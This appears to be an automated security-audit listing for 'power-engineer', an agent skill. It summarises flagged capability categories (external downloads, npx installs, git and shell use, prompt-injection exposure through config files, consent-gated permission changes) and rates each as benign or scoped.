The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: The skill maintains an extensive catalog of third-party extensions and utilities to be downloaded and installed. These include official and community resources from organizations such as Anthropic, GitHub, Vercel, Microsoft, Sentry, Supabase, and Neon, as well as well-known individual contributors within the ecosystem.
[REMOTE_CODE_EXECUTION]: It automates the installation of external skills through the platform's standard npx skills add command and /plugin install mechanisms. The installer module implements version pinning using a dedicated .skills-cli-version file to ensure reproducibility and provides a consolidated installation plan for user review before proceeding.
[COMMAND_EXECUTION]: The skill executes various local shell commands for codebase analysis and automation. This includes using git to inspect branch history, status, and author metrics, as well as file operations for creating the .power-engineer/ state directory and managing .gitignore entries. It also utilizes Claude Code lifecycle hooks to automate session handoff summaries and pre-compaction state snapshots.
[INDIRECT_PROMPT_INJECTION]: The scanner module ingests project data from configuration files (e.g., package.json, tailwind.config.js, pyproject.toml) to drive the adaptive questionnaire and skill resolver. While this represents a potential ingestion point for indirect prompt injection from compromised project files, the impact is strictly scoped to surfacing tool recommendations and populating configuration templates.
[PRIVILEGE_ESCALATION]: The permissions module offers to modify the project's .claude/settings.json to auto-allow specific batch installation commands (e.g., npx skills@latest). This is designed to improve user experience during large setups and is gated by explicit user consent via the AskUserQuestion tool before any changes are applied to the permission configuration.

power-engineer